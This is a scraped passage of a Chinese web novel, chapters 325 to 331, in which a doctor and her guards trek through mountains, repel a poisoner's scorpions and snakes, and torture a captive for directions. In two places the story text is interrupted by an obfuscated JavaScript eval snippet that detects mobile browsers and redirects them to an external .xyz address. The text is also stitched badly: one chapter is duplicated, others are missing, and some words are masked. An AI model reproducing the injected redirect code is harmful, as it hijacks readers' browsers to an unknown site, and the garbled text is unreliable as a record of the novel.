护卫砍来了茂密的枝丫,用来充当挡风的门帘,将山洞口堵得结结实实,纵然有风也不会轻易渗入,能让山洞内的篝火持续升温,躲避山中寒夜。 “姑娘放心,大家轮流看守,您就安心休息。”迎春拨开叶片瞧了瞧外头,外头已经彻底暗了下来,目不能视物,但风很大。 风声呼呼响着,纵然他们功夫再好,也免不得有所干扰,即便外头有动静有东西,他们都未必能察觉到异常。 “什么都看不到。”迎春将枯枝丢进了火堆里,还好他们方才砍了一些柴火,今天晚上应该能安然度过,只要火堆不熄灭,洞内的温度都能一直维持,不至于沾染风寒。 陈识月倒也不是不相信他们,起身走到了洞口位置,将一些粉末倒在地上,倒在枝丫叶片上,沿着洞口撒上一圈。 “姑娘,这是什么?雄黄粉?担心有蛇虫鼠蚁?”迎春问。 陈识月点点头,既然他们都这么认为,那便……算是吧! “你们不要触碰。”陈识月道,“到底是有些毒性,防护之心不可无,尤其是这深山之中。” 迎春颔首,“是!” 外头的风声还在持续,山洞内却逐渐安静下来,众人都靠在岩壁上,合眼休息。 恍惚间,好似有窸窣声响起…… 第三百二十五章 一个会飞,一个会打 陈识月睁开眼的时候,冬梅和迎春已经做好了随时动手的准备,毕竟是习武之人,若有异常,自然是第一时间反应过来。 “有点腥臭味。”陈识月皱眉,“可能是蛇。” 冬梅和迎春第一时间看向她,她们怎么没闻到腥臭味? 何况…… 蛇? 借着山洞内的火光,众人检查了周遭,洞内并没有蛇虫鼠蚁,那应该是外面的。 “这里面都没有。”冬梅握紧了手中剑。 若是有,必定一刀两断。 “那我们就先按兵不动。”迎春开口,“可能明日天亮就会走了呢?” 陈识月也赞同,按兵不动。 如今这局面,外面到底什么状况,谁的心里都没底,倒不如先在山洞内待着,但她依旧可以闻到空气里若有若无的腥臭味。 这股子味,应该是蛇腥味无疑。 “姑娘,先休息吧!”迎春开口。 冬梅将柴火往火堆里丢,让火焰能持续不断的燃烧着,只要有光,人就不会觉得害怕,哪怕深处黑暗与陌生的环境里,也有几分安全感。 山洞内,火光哔哔啵啵的炸开。 山洞外,冷风依旧,有窸窸窣窣的声音在山洞口徘徊,但始终不敢靠近分毫,有不怕死的蝎子一下子冲过去,最后摇摇晃晃的逃出来的。 是的,逃出来,就像是逃命一般,跌跌撞撞,发了疯一般的往外跑,最后没跑出去多远就趴在那里不动了,有些甚至于翻了肚皮。 可见,**。 动物都是趋利避害的,里面有比它们更毒的东西,它们自然不敢靠近,只能在周围徘徊,甚至于想方设法的逃离。 黑暗中,有人低哼了一声,大概没料到会是这样的场景。 这里面居然有人深谙毒术,以至于功败垂成。 一个响指,这些毒物便慢慢悠悠的往后撤,最后随着黑衣人一起消失在黑暗之中,彻底的消失不见,好似从未出现过。 来无影,去无踪。 山洞内的篝火燃烧了一夜,到了第二天,确定外面没什么大碍,陈识月才用水浇了浇之前的粉末,其后亲自拨开了那些枝丫。 “你们都不要碰,不要沾染,我来!”陈识月自然不怕这些东西,但是其他人就不行了。 待清理了洞口,众人小心翼翼的出了山洞。 外面的凉意瞬间扑面而来,冻得所有人瞬时汗**直立。 山中的清晨,光亮很稀薄,空气也是。 “姑娘!”迎春低唤。 陈识月旋即上前,是几只死去的蝎子。 “姑娘!”冬梅的脸色也不太好看。 草皮有被踩过的痕迹,但仅限于一小块,可见是有人曾经站在这里,转眼间又轻功而去,所以边上没有留下踩踏的痕迹。 “这人功夫不弱。”冬梅沉着脸,蹲在地上。 陈识月蹲下来,认可冬梅的说法,“看看附近还有没有痕迹?” “是!” 众人旋即在周围绕圈,最后在一棵树的树干上,发现了被踩过的痕迹,应该是被借力了,那人在这里留了一脚,最后飞身而去。 至于去了何处…… 连绵群山,无法查证! “有人一直跟着我们,昨晚应该是想下手,奈何被我防了一手,所以没能得逞。”陈识月将死去的蝎子捡起来,用帕子包好。 冬梅皱眉,“姑娘,这、这收起来作甚?” “可以烤着吃,也可以当药!好东西,别浪费!”陈识月将东西收入包袱内。 冬梅张大嘴,愣是半晌没反应过来。 烤着吃?? 陈识月可不怕这些毒物,送上门来的好东西,怎么能不要呢?! “走吧!”陈识月缓步朝前走,“越是有人拦着,越说明咱们这条路没走错。” 要是走错了路,必定会迷失在山中,对方就不必费这么大的劲儿对付他们了,所以这条路应该是对的,那人怕是要慌了! “姑娘放心,咱会小心保护你的。”冬梅握紧手中剑。 别让她有出手的机会,否则她定叫那人后悔来人世间走一遭! 陈识月笑了笑不说话。 越过山林,穿过了藤蔓群,参天古木,将天空遮蔽得严严实实,漏不下半点光亮,时不时有怪异的声音在耳畔响起,偶尔出现在林中,瞧不清楚是什么,但听得人心里一颤一颤的,总觉得会有什么东西,冷不丁就蹿出来。 及至平阔处,陈识月停了下来,“大家都累了吧,吃点干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938721|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮喝点水,补充一下体力。” 一直精神紧绷的往前走,人容易疲倦,也容易麻木,逐渐丧失警惕性,所以时不时得停下来休息一下,恢复体力,缓缓心神。 众人当即坐下来休息,陈识月却没有闲着,出来的时候,故意做了个小背包,这会她便拿着小刀,这边挖挖,那边扣扣的。 “姑娘,您作甚?”冬梅不解。 陈识月抬头,“好东西。” “挖草药呢?”迎春却是看明白了。 陈识月继续手中的动作,“这些地方,寻常人很难进来,对采药人来说,简直就是误入藏宝地,这么多的珍惜药材,若不动手扒拉一些带走,我这心里痒痒得难受。” 职业病犯了,没办法! 她可是大夫,在云中村的时候,最喜欢做的事就是上山挖草药,如今进了山,她这**病哪儿还能压制得住? 好东西! 都是好东西! “以前在云中村给人瞧病的时候,不是缺这个就是少那个,我这心里难受得很,遇见机会就自己种一些,如今看着满山的药材,我就忍不住!”陈识月将泥泞抖落,小心翼翼的将药材放进自己的背包里。 冬梅顿了顿,“姑娘是个好大夫,当年我爹要是遇见这样的好大夫……就好了!” 陈识月愕然,“你爹?” “没银子进不了医馆,爹就被拖**。”冬梅言简意赅,“后来我就没家了。” 迎春拍了拍她的肩膀,“都过去了。” “这世上有好人就有坏人,大夫也是如此,我见过很多见死不救的大夫,也见过妙手仁心的大夫,就比如我师父!”陈识月将药材收好,站起身环顾四周,“可惜他跑得比谁都快,就像是没有脚的小鸟,这会也不知道飞哪儿去了?” 话音刚落,迎春忽然脸色骤变,“姑娘小心!” 陈识月:“??” 还不等她反应过来,耳畔骤然一阵风过,紧接着身子就像是棉花一般,被人轻飘飘的丢上了半空,脑子里一片空白。 陈识月完全没反应过来,身子便飞了,紧接着是刀剑碰撞之音。 冬梅好像在喊,但心跳如擂鼓,耳朵里嗡嗡的,一颗心提到了嗓子眼,陈识月根本听不清楚他们在喊什么? 第三百二十七章 汗血宝马果然是真的 到了这份上,也没什么舍得舍不得的,更没有所谓的道义可言。 要么死贫道,要么死道友。 总要,选一个。 本就不是什么好人,肯定不会选前者。 山洞内,发出了凄厉的惨叫,有人想要冲出来,却在刚踏出山洞的那一刻,就被人斩落了头颅,顷刻间鲜血满地。 约莫过了小半个时辰,山洞内彻底没了动静。 迎春深吸一口气,“姑娘别着急,我先进去看看!” “小心点!”陈识月也有些紧张。 身边还有两个护卫,倒也不是那么危险,至少是有基础保障的。 不多时,山洞内探出头来。 “姑娘快来!”迎春招呼。 一人揪起那黑衣男子,快速跟着陈识月朝着山洞内走去,另一人则为陈识月开路,一边还得提醒陈识月,小心脚下。 不得不说,冬梅下手是真的狠,所到之处,到处都是血迹斑驳。 空气里,弥漫着浓郁的血腥味。 脚下横七竖八的,躺着不少尸体。 陈识月皱了皱眉头,鼻腔里浓郁的血腥味,熏得她脑瓜子嗡嗡的,尽量避开脚下的断臂残肢,避开血迹,缓步朝着内里走去。 “姑娘放心,都解决了。”迎春上前,“还留了个活口。” 应该算是这个山洞内,能说得上话的人。 活口,还真是……就活了一张口。 全身软绵绵,就像是被人活拆了骨头一般,男人躺在地上,大口大口的喘着气,胸口起伏得厉害,大概是因为太过疼痛,额头上冷汗涔涔而下,唇瓣被他生生咬出了血。 “没什么大碍,我只是用了分筋错骨手。”迎春开口解释,免得吓着陈识月,“这一时半会的,他都没办法起来,但若是不解开这桎梏,会活生生的疼死。” 陈识月蹲下来,瞧着疼到极致,却连打滚都做不到的男子,“你们是长乐门的人,那这山里头藏着的,应该就是长乐门的堂口之类吧?” 男人看向陈识月,咬着牙死死不松口。 当然,视线触及到那个被绑缚的黑衣人时,他便明白这是怎么回事了? 还能如何? 被人出卖了呗! 自己人出卖的他。 很显然,想要蒙混过关是不可能,因为他们有备而来,且不知道所谓的“自己人”到底出卖了多少底细?说不定该知道的不该知道的,叛徒都说了个七七八八。 “你们想知道什么?”男人好似有点绝望。 被人背叛,本来就是一件足以让人绝望的事情。 “隐藏在山中的堂口在那?分坛?又或者是说,其他人在哪?”陈识月目不转睛的盯着他,“你也不想留在这里,被野狗野狼分食吧?” 到了这地步,已经没有任何讨价还价的余地。 “我……我不知道!”他闭上眼。 下一刻,撕心裂肺的惨叫,惊得此前被擒的黑衣人,快速闭上眼别开头,身子止不住的颤抖,愣是不敢吱一声。 他知道,痛到极致是什么滋味。 “哟,晕过去了?”迎春一怔。 陈识月取出银针,“大意了,我来!” 一根银针下去,男人又被活活疼醒,睁开眼便是几双带着笑意的,不怀好意的眼睛,这下子是真的奔溃了。 更让他崩溃的还在后面,那就是不管他如何挣扎,始终保持清醒状态! 因为陈识月的那一根银针,让他即便疼到了骨子里,疼得想死,神志依旧清醒,想晕都晕不了,整个人甚至处于极度亢奋的状态。 血液直冲脑门,血脉喷张的痛,折磨得他生不如死,还不如给他一剑来得痛快! “杀了我!杀了我!” 瞧着他这般模样,委实将一旁的黑衣人吓得半死,这样的痛苦若是降临在自己的身上,他绝对是熬不住的,求生不能求死不得……太痛苦了! 如此行径,便是四个护卫都起了一身的鸡皮疙瘩。 别看这三人,一路上温温柔柔,文文弱弱,动起手来真是狠辣至极,令人不寒而栗。 “杀不了,但能看着你死!”迎春撇撇嘴。 冬梅蹲在那里,研究要从哪儿动手,能让他更疼几分,却又死不了? “要不然,我把他腿撕了?”冬梅小声嘀咕,“胳膊也成,弄得跟那厮一般无二。” 黑衣人抖如筛糠,整个人如同冷水里捞出来的,浑身上下都被冷汗浸湿,其后便是一股子尿骚味从他身上传出。 四护卫纷纷退后一步,丢他在墙角。 咦…… 孬种。 “不要!”疼到脑子都昏昏沉沉,疼到人都不清醒了,男人终于开口,“我知道路,我给你们带路,你们……你们放过我,我、我受不了了……放过我……” 再疼下去,他真的会被疼死的。 哦不,只要有陈识月在,他就死不了。 死不了,那就更惨了。 “好啊!”陈识月伸手拔掉了银针,在其他地方下针。 转瞬间的功夫,疼痛骤减,即便是被分筋错骨,似乎也没那么疼了! “我帮你减轻了痛苦,你当知晓该怎么做?”陈识月收起了银针,“咱们,随时能让你生不如死,你最好不要耍花样,免得到时候死得更惨。” 男人终于缓过劲来,但还是没能晕过去,只不过是疼痛稍缓,人也跟着越发清醒起来,“你们跟长乐门有仇?” “这不是明摆着的事情?还用得着问?”冬梅不悦。 真是多此一问。 “我只是个巡山的,其他的事情知道的并不多。”男人喘着气开口,“但我知道你们要找什么?是那个洞窟吧?” 陈识月敛眸,“知道汗血宝马吗?” “你们……你们怎么会知道的?”男人似乎不敢置信。 这个秘密藏得太好了,只有这山里的人知晓,山外的……哪怕是长乐门的人,估计也不清楚这件事,毕竟草料都是偷偷摸摸买的。 “你管我们怎么知道,只管说,你知不知道?”迎春懒得与他废话。 男人闭了闭眼,“汗血宝马就在山里,在那个山洞里藏着呢!” 闻言,陈识月身子一僵,旋即与冬梅和迎春对视一眼。 原来真的有! 原来真的在! “带我们去!”陈识月裹了裹后槽牙。 找到这个人,应该就知道杀死老二他们的凶手是谁! 也许,那就是凶手! 这笔血债,陈识月可一点都没忘呢! “那就先解开了他腿上的禁锢。”迎春开口。 陈识月点头,“把那个也带上,虽然不中用,但多少能说两句。” 一个人的时候,真假难辨。 两个人的时候,圆不过来就是说谎,所以暂时不能杀了! “走!”护卫将墙角的男人揪起,“一股子尿骚味,真丢人!” 第三百二十八章 根本就没有熊 诚然,好歹也是习武之人,竟是被吓一下,竟是尿了一地。 两个护卫看守一人,刚好四个人,一行人就这么慢慢悠悠的穿梭在山林之中。 “你们之中,是不是有人善用毒术?”陈识月问。 冬梅想起了陈识月说的,烤蝎子…… “你怎么知道?”首领男子双腿发颤,要不是被人搀着,还真是跑不动,两个护卫一左一右挟持着他,现在的他跟后面那人没什么区别。 陈识月嗤笑两声,“他忘记把他的蝎子带走了!” 男人:“……” “改天有机会,是要见一见的。”陈识月低声开口。 迎春睨了一眼二人,“你们最好学乖一点,我家主子可不是好招惹的,她如今都还没动手,但凡她真的出手,你们连求饶的机会都没有。” 这话可不是说说而已,毕竟陈识月连会毒术之人都知晓,就说明这些人多少是知道内情的。 “你们是冲着长乐门来的?”男人低声问。 冬梅刚要抬手抡过去,却被迎春抢先一步。 “啪”的一声脆响,一个耳光子扇过去,直接把人的脸都扇到了一旁,惊得护卫都跟着脸疼。 “你别动手!”迎春用警告的眼神,看了冬梅一眼。 她这一巴掌抡过去,不得把脑袋都扇飞了? 没听姑娘说,要留活口。 这缺了脑袋,算哪门子活口? 冬梅皱了皱眉,没有反驳,只是若有所思的看了看自己的手,以前师父在的时候,倒是一直耳提面命的,后来师父不在了,她就再也没有想过这个问题。 不动手的时候,就动作缓慢,慢动作就不会使劲。 但要是动起手来,什么理智什么收劲,全闪一边去,打赢了才是正理。 “都成这样了,还想打探我们的消息,真是欠揍!”迎春可不跟他们客气。 阶下囚没资格提问,也不配得到答案。 陈识月只是笑笑不说话,没有干预,迎春是个老江湖,这个名字可能都是个化名,但她能出现在自己身边,定是霍青行经过深思熟虑的,所以她十分相信迎春。 山道难行,哦不,这甚至于不能称之为山道,因为压根没有路,全靠一些标记来引路,到处都是落叶与灌木丛,参天古木遮蔽得四下阴暗,两侧的灌木连同树木一起,将这条道遮掩得严严实实。 陈识月小心的记下了所有路标,任凭身后的迎春和冬梅,叽叽喳喳的审问那两个人,以聊家常的方式,夹杂着些许恫吓的手段,将他们肚子里的秘密尽量掏干净一点。 别看是两个丫头,一个精明难当,一个憨憨傻子,可套话的时候你一言我一语,配合得那叫一个天衣无缝,把那两个又疼又怂的男人,糊弄得一愣一愣的。 时间不早,众人停下来歇息的时候,男人主动开了口,“再往前走,就是另一批人的领地,那边就不归我管了。” “还有多少人?”陈识月问。 男人忙道,“就剩下最后一道关卡,就是前面这片领地。” “过去之后是什么?”陈识月问。 男人回答,“洞窟入口。” 正儿八经的入口。 “不过我奉劝一句,你们最好不要从正门进去,这洞窟有很多细小的进出口,虽然也有人看守,但事无绝对,找个偏僻一点的入口,很难被人发现的。” 这本就是天然洞窟,到处都是入口,有些狭窄只够一人进出,有些比较宽敞的,就会有人看守,但大家都不会特意看着,偶尔擅离职守也是情理之中。 深山老林的,谁还整天守着一个破洞口呢? 来日若是出事,鬼知道是从哪儿进去的…… 天色不早,现在过去的话,估计要天黑才能进入山洞,到时候又疲又累,在不熟悉路径的情况下,容易出事。 洞内。 火光燃起。 还是老样子。 陈识月让护卫砍来了枝丫挡住了洞口,以免山间寒风侵蚀,在一切都准备就系,大家开始休息之后,陈识月照常撒下一些粉末。 这一次,迎春和冬梅都没有多问。 她们知道,姑娘这么做的用意,她绝对是对的! 夜色沉沉,山风呼啸。 “为何这山林之中,都甚少见着鸟语虫鸣,见着活物?”陈识月靠坐在柔软的枝叶垫子上。 这也是困扰所有人的问题,连冬梅想抓只活物加餐都不行,委实有点焦躁得慌,也觉得这山林之中有所古怪。 “林中多机关,越靠近洞窟这边,越没什么活物可言,平日里不是被抓光,就是察觉到了危险而迁居逃离,所以……”男人垂下眼帘,“你们大概是抓不住什么活物了,得去其他山头,才可能见到活物。” 越靠近目的地,林中越安静,所谓的活物……只剩下了这帮居心叵测的活人。 “你们可真恶毒,这山林本该是那些小动物的天地,竟是让你们搅合得有家不能回。”迎春翻个白眼,“缺了大德的东西!” 天地自有法则,但这些人的出现,就破坏了山中的法则。 “那熊呢?”陈识月问。 男人一怔。 冬梅:“……” 迎春:“……” 是啊,熊呢? 不是说山中有熊经常出没伤人吗?他们上山之前,还有熊伤人,最后致人死亡之事,怎么这会却只字不提,一根熊毛都看不见? “熊呢?”冬梅问。 男人眼神闪烁。 “说话!”迎春低喝。 男人好似鼓起了勇气,“我们没见过熊。” 又是一阵沉默。 没见过熊? “是没见过,还是压根就没有熊?”陈识月面色冷冽的盯着他。 迎春有些恼了,“说实话。” 被这么一吓唬,男人不敢再藏着掖着,“这事我们是真的不清楚,当时也听说熊伤人,可上头说了,这件事不要放心上,只管大胆的巡山便是,不可能遇见熊。其他的,我们真的不知道。” 身后的黑衣人也跟着解释,“真的真的,当时上面就是这么交代的,大家都听得清清楚楚,绝对没有撒谎。” 他们也不知道熊是否存在,但上面让他们不要当心,想必是早已控制了熊,或者是处理了熊,总之……绝对不会出没伤及他们。 “事实上,我们真的没有遇见过熊。”男人看向陈识月。 听得出来,这是大实话。 他,没撒谎。 陈识月沉默了,一路走来别说是熊,便是豺狼虎豹的粪便都没有,也闻不到空气中关于猛兽的一些骚臭味,可见二人所言并非是虚。 那伤人的熊去哪了? 又或者,这件事从头至尾是假的,根本就没有熊! 这个念头一出,陈识月的脸色就更难看了。 第三百二十九章 糟了,是瘴气 时辰不早了,众人不再言语,不管有没有熊,没有遇见就当没有,好好休息,静待明日。 只不过,到下半夜的时候,山洞外忽然又响起了窸窸窣窣的声响。 陈识月不似之前这般紧张,此番是慢悠悠的睁开眼,转头看了一眼警觉的冬梅和迎春,示意她们不要轻举妄动。 深吸一口气,陈识月起身,缓步朝着洞口走去。 护卫都小心翼翼的握紧了佩刀佩剑,随时准备出手。 拨开浓密的枝叶,陈识月朝着外头看了一眼,忽然心头一窒,黑暗中一双微亮的墨瞳,正直勾勾盯着她,惊得她手上一松,枝叶旋即反弹,遮住了所有的视线。 等她回过神来,再度拨开,这双眼睛消失了…… 没错,是一个人! 那绝对是蝎子的主人。 这人还跟着他们! “姑娘?”迎春悄无声息的站在她身侧。 瞧着陈识月略显心慌的神色,迎春下意识的要推开枝叶,却被陈识月快速拦住。 “别!”陈识月压低了声音,“我看到他了。” 他? “谁?”迎春一怔。 陈识月指了指外头,“蝎子的主人。” 迎春不说话了,姑娘之前说了,此人善毒术。 功夫再高,也怕毒术。 无声无息,杀人于无形。 “别怕!”陈识月开口,“他还在摸我的底,一时半会不会出手的。” 对方还不清楚,陈识月到底有多大本事,怎么敢贸贸然出手,何况昨夜的蝎子都死了几个,估计把他心疼坏了吧? 说话间,迎春忽然面色骤变,冷不丁将陈识月拽到一旁,伸手便扣住了一样东西,情况撕成两截。 陈识月:“……” 冬梅急忙冲过来,“姑娘,伤着没有?” 陈识月缓过神来,瞧着被迎春丢在地上的,撕成两截的蛇,止不住倒吸一口冷气,忙不迭检查迎春的双手。 还好还好,除了一股子腥臭味,没有伤口。 “没咬到我。”迎春忙道。 却见冬梅已经一石头砸碎了蛇头,“这蛇有毒吗?” “有!”陈识月如实回答,“不过去了毒囊还是可以吃的。” “真的?”冬梅当即抽出匕首,想要将这蛇给剥皮烤起来。 陈识月制止了她,“别急,还有呢!这皮……待会一起剥!” 冬梅:“??” 下一刻,陈识月忽然伸手,扣住了快速窜入的蛇。 动作,快准狠。 “漂亮!”迎春感慨。 陈识月抓着蛇,狠狠朝着岩石上甩去,这蛇三两下就没了动静。 “都小心点!”陈识月叮嘱。 话是这么说的,但她自己却一点都不带上心的,只瞧着她就跟闹着玩似的,伸手就往枝叶里抓挠,抓一条甩三下,两手抓,哗啦啦又是三下。 冬梅脸上的笑意藏都藏不住,“哎呦呦,都是加餐的!谢姑娘赏赐!” 迎春:“……” 这画面怎么看怎么……不对劲。 说好是来保护姑娘,可瞧着姑娘比她们还劲劲儿的,一手一条蛇,抓得那叫一个不亦乐乎,就跟玩似的。 到了后面,几乎无蛇可抓。 大概是外头的人也意识到了,这东西根本伤不了陈识月,并且有个怪异之处,那就是这蛇遇见了陈识月之后,畏缩了……不敢露出利齿,甚至于任她拿捏。 造孽啊! 他精心饲养了多年的毒蛇,毒蛇啊! 全糟蹋了! “好像没了?”迎春皱眉。 陈识月伸手拨弄着叶片,窸窸窣窣声音全部消失了,那人应该是跑了吧? 呵,再不跑,他所有的物什都要变成冬梅的口中食。 今晚最高兴的莫过于冬梅,之前还叨叨没有遇见活物,如今活物送上门,真真是快乐极了! 岩壁边上的小水坑,就成了她清洗的小厨房,一条条蛇被架起来,被烤得香气四溢,真当是加餐了,总算是吃上肉了。 不过,某些人可就要心疼了。 所谓赔了夫人又折兵,这大概就是! 冬梅合着干粮,今晚算是美滋滋的吃上了一顿,连带着那两个俘虏也有份,满洞内都是烧烤的香味,着实是意料之外的惊喜。 不过,陈识月此番,也是吓着了那两人。 二人终于明白,陈识月为什么是这群人的首领,就她抓蛇时候的淡定自若,便不是寻常人能做到的,更何况那还是毒蛇。 吃饱喝足,好好休息。 静待明日! 第二天,天亮之后,是陈识月亲自打开了洞口,外头空气清新,山风送凉。 陈识月摸了摸汗毛直立的胳膊,然后懒洋洋的伸个懒腰。 再继续往前,就该是面对狂风暴雨的时候了。 不过,今日的天气的确也不太好。 阴风阵阵的,像是要下雨? 陈识月环顾四周,“得加快脚步,要不然这山中多瘴,一旦下起雨来,起了雾就更难走了。” 说着,她回头看了一眼身后二人。 这个时候似乎要断舍离了。 “不要杀我们!” 二人战战兢兢,不想死是人之常情。 “你们进山洞里待着吧!”陈识月一人塞了一枚药丸,“毒药。” 二人:“!!” “尽快下山,去找医馆,十二个时辰之内解毒,就能有一条活路。”陈识月意味深长的开口,“若是晚了,那可就什么都来不及了。别指望寻常的解毒丸,提炼过的不中用,得要滚烫的汤药下腹才有救。去回春堂,还能有一线生机。” 语罢,陈识月特意强调了一下,“记住了,只有回春堂才能解毒,有些药……别的医馆没有!” “滚吧!”迎春冷着脸。 二人退回了洞内,不敢轻举妄动。 陈识月带着众人,快速离开。 “姑娘,这样没事吗?”迎春有些担忧,“不如杀了了事。” 陈识月笑了笑,“这山中消息都送不出去,让他们去一趟回春堂不是正好吗?” “他们会把我们在这里的动静,全部告诉白大夫?”迎春明白了。 陈识月点点头,“看出来了,他们贪生怕死,这会肯定要赶紧下山去找回春堂的,我们就不必再费心思,只管往前便是。” “姑娘真聪明!”冬梅感慨,“换做是我,早就撕了他们,绝不与他们废话。” 迎春白了她一眼,“就知道撕来撕去,多动动脑子。” 如陈识月所说,这山里的天气多变,他们走了没多久,山头便响起了一声炸雷,可见是真的要下雨了,所以得有所准备。 “该死,要下雨了。”迎春面露忧色。 冬梅皱眉,“起雾了。” 陈识月面色大变,慌忙从袖中取出一个小瓷瓶,“不是,是瘴气!每个人一颗,含在嘴里,快!” 一人一颗,含在舌下。 刚含着,瘴气已笼众人…… 第三百二十九章 糟了,是瘴气 时辰不早了,众人不再言语,不管有没有熊,没有遇见就当没有,好好休息,静待明日。 只不过,到下半夜的时候,山洞外忽然又响起了窸窸窣窣的声响。 陈识月不似之前这般紧张,此番是慢悠悠的睁开眼,转头看了一眼警觉的冬梅和迎春,示意她们不要轻举妄动。 深吸一口气,陈识月起身,缓步朝着洞口走去。 护卫都小心翼翼的握紧了佩刀佩剑,随时准备出手。 拨开浓密的枝叶,陈识月朝着外头看了一眼,忽然心头一窒,黑暗中一双微亮的墨瞳,正直勾勾盯着她,惊得她手上一松,枝叶旋即反弹,遮住了所有的视线。 等她回过神来,再度拨开,这双眼睛消失了…… 没错,是一个人! 那绝对是蝎子的主人。 这人还跟着他们! “姑娘?”迎春悄无声息的站在她身侧。 瞧着陈识月略显心慌的神色,迎春下意识的要推开枝叶,却被陈识月快速拦住。 “别!”陈识月压低了声音,“我看到他了。” 他? “谁?”迎春一怔。 陈识月指了指外头,“蝎子的主人。” 迎春不说话了,姑娘之前说了,此人善毒术。 功夫再高,也怕毒术。 无声无息,**于无形。 “别怕!”陈识月开口,“他还在摸我的底,一时半会不会出手的。” 对方还不清楚,陈识月到底有多大本事,怎么敢贸贸然出手,何况昨夜的蝎子都**几个,估计把他心疼坏了吧? 说话间,迎春忽然面色骤变,冷不丁将陈识月拽到一旁,伸手便扣住了一样东西,情况撕成两截。 陈识月:“……” 冬梅急忙冲过来,“姑娘,伤着没有?” 陈识月缓过神来,瞧着被迎春丢在地上的,撕成两截的蛇,止不住倒吸一口冷气,忙不迭检查迎春的双手。 还好还好,除了一股子腥臭味,没有伤口。 “没咬到我。”迎春忙道。 却见冬梅已经一石头砸碎了蛇头,“这蛇有毒吗?” “有!”陈识月如实回答,“不过去了毒囊还是可以吃的。” “真的?”冬梅当即抽出**,想要将这蛇给剥皮烤起来。 陈识月制止了她,“别急,还有呢!这皮……待会一起剥!” 冬梅:“??” 下一刻,陈识月忽然伸手,扣住了快速窜入的蛇。 动作,快准狠。 “漂亮!”迎春感慨。 陈识月抓着蛇,狠狠朝着岩石上甩去,这蛇三两下就没了动静。 “都小心点!”陈识月叮嘱。 话是这么说的,但她自己却一点都不带上心的,只瞧着她就跟闹着玩似的,伸手就往枝叶里抓挠,抓一条甩三下,两手抓,哗啦啦又是三下。 冬梅脸上的笑意藏都藏不住,“哎呦呦,都是加餐的!谢姑娘赏赐!” 迎春:“……” 这画面怎么看怎么……不对劲。 说好是来保护姑娘,可瞧着姑娘比她们还劲劲儿的,一手一条蛇,抓得那叫一个不亦乐乎,就跟玩似的。 到了后面,几乎无蛇可抓。 大概是外头的人也意识到了,这东西根本伤不了陈识月,并且有个怪异之处,那就是这蛇遇见了陈识月之后,畏缩了……不敢露出利齿,甚至于任她拿捏。 造孽啊! 他精心饲养了多年的毒蛇,毒蛇啊! 全糟蹋了! “好像没了?”迎春皱眉。 陈识月伸手拨弄着叶片,窸窸窣窣声音全部消失了,那人应该是跑了吧? 呵,再不跑,他所有的物什都要变成冬梅的口中食。 今晚最高兴的莫过于冬梅,之前还叨叨没有遇见活物,如今活物送上门,真真是快乐极了! 岩壁边上的小水坑,就成了她清洗的小厨房,一条条蛇被架起来,被烤得香气四溢,真当是加餐了,总算是吃上肉了。 不过,某些人可就要心疼了。 所谓赔了夫人又折兵,这大概就是! 冬梅合着干粮,今晚算是美滋滋的吃上了一顿,连带着那两个俘虏也有份,满洞内都是烧烤的香味,着实是意料之外的惊喜。 不过,陈识月此番,也是吓着了那两人。 二人终于明白,陈识月为什么是这群人的首领,就她抓蛇时候的淡定自若,便不是寻常人能做到的,更何况那还是毒蛇。 吃饱喝足,好好休息。 静待明日! 第二天,天亮之后,是陈识月亲自打开了洞口,外头空气清新,山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958907|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风送凉。 陈识月摸了摸汗**直立的胳膊,然后懒洋洋的伸个懒腰。 再继续往前,就该是面对**的时候了。 不过,今日的天气的确也不太好。 阴风阵阵的,像是要下雨? 陈识月环顾四周,“得加快脚步,要不然这山中多瘴,一旦下起雨来,起了雾就更难走了。” 说着,她回头看了一眼身后二人。 这个时候似乎要断舍离了。 “不要杀我们!” 二人战战兢兢,不想死是人之常情。 “你们进山洞里待着吧!”陈识月一人塞了一枚药丸,“**。” 二人:“!!” “尽快下山,去找医馆,十二个时辰之内解毒,就能有一条活路。”陈识月意味深长的开口,“若是晚了,那可就什么都来不及了。别指望寻常的解毒丸,提炼过的不中用,得要滚烫的汤药下腹才有救。去回春堂,还能有一线生机。” 语罢,陈识月特意强调了一下,“记住了,只有回春堂才能解毒,有些药……别的医馆没有!” “滚吧!”迎春冷着脸。 二人退回了洞内,不敢轻举妄动。 陈识月带着众人,快速离开。 “姑娘,这样没事吗?”迎春有些担忧,“不如杀了了事。” 陈识月笑了笑,“这山中消息都送不出去,让他们去一趟回春堂不是正好吗?” “他们会把我们在这里的动静,全部告诉白大夫?”迎春明白了。 陈识月点点头,“看出来了,他们贪生怕死,这会肯定要赶紧下山去找回春堂的,我们就不必再费心思,只管往前便是。” “姑娘真聪明!”冬梅感慨,“换做是我,早就撕了他们,绝不与他们废话。” 迎春白了她一眼,“就知道撕来撕去,多动动脑子。” 如陈识月所说,这山里的天气多变,他们走了没多久,山头便响起了一声炸雷,可见是真的要下雨了,所以得有所准备。 “该死,要下雨了。”迎春面露忧色。 冬梅皱眉,“起雾了。” 陈识月面色大变,慌忙从袖中取出一个小瓷瓶,“不是,是瘴气!每个人一颗,含在嘴里,快!” 一人一颗,含在舌下。 刚含着,瘴气已笼众人…… 第三百三十一章 她果然不是习武的料 陈识月自己下手,肯定是有准头的,不过没瞧见地上有战利品,要么是被带走了,要么是还活着,总之她也不清楚伤的到底是什么? 